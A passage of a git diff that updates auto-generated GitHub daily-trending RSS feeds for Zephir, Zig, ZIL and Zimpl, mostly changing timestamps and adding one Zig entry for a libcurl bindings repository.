100644 --- a/zephir/daily/index.xml +++ b/zephir/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zephir Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:36Z + 2023-09-20T01:44:12Z Daily Trending of Zephir in GitHub \ No newline at end of file diff --git a/zig/daily/index.xml b/zig/daily/index.xml index 25c095a36bf..e72d465c3af 100644 --- a/zig/daily/index.xml +++ b/zig/daily/index.xml @@ -1,7 +1,14 @@ GitHub Zig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:43Z + 2023-09-20T01:44:18Z Daily Trending of Zig in GitHub + + jiacai2050/zig-curl + 2023-09-20T01:44:18Z + tag:github.com,2023-09-20:/jiacai2050/zig-curl + + <p>Zig bindings to libcurl</p><hr> + \ No newline at end of file diff --git a/zil/daily/index.xml b/zil/daily/index.xml index e6a28314cca..9d145f677c2 100644 --- a/zil/daily/index.xml +++ b/zil/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZIL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:40Z + 2023-09-20T01:44:15Z Daily Trending of ZIL in GitHub \ No newline at end of file diff --git a/zimpl/daily/index.xml b/zimpl/daily/index.xml index c0c4159625b..0f80056a50e 100644 --- a/zimpl/daily/index.xml +++ b/zimpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zimpl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:42:39Z + 2023-09-20T01:44:16Z Daily Trending of Zimpl in GitHub \ No newline at end of file